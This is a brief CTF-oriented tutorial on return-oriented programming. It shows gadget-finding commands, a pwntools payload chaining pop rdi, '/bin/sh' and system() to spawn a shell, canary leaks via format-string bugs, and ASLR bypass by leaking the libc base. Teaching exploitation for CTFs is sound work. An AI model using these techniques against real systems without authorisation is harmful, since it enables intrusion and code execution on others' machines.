55. ROP Chains: How to Bypass a Stack Canary
Modern binaries are protected by NX (Non-Executable Stack) and Stack Canary. That led to Return-Oriented Programming (ROP)—instead of injecting new code, the attacker recombines existing code fragments.
Core Concept
Gadget: A short code fragment ending in a ret instruction.
pop rdi ; ret
pop rsi ; ret
syscall ; ret
Connect these gadgets on the stack to create the desired behavior. Set arguments → call a function → obtain a shell. That is all.
Practical Flow
Step 1 — Find Gadgets
ROPgadget --binary ./vuln --rop
ropper -f ./vuln
Step 2 — Build the Payload (pwntools)
from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
rop.raw(rop.find_gadget(['pop rdi', 'ret'])[0])
rop.raw(next(elf.search(b'/bin/sh')))
rop.raw(elf.plt['system'])
payload = b'A' * offset + rop.chain()
Step 3 — Bypass the Canary
The canary value can be dumped through a %p format-string bug or a memory leak.
Chain the stages as leak → overwrite → ROP chain.
What If ASLR Is Enabled?
First leak the libc base address using ret2plt or ret2libc.
puts(got['puts']) → calculate libc base → call system("/bin/sh")
Quick Reference
checksec --file=./vuln— Inspect mitigationspwndbg+cyclic— Find the offsetone_gadget ./libc.so— One-shot shell
💡 70% of CTF pwn challenges are ROP variations. Developing an eye for gadgets already gets you halfway there.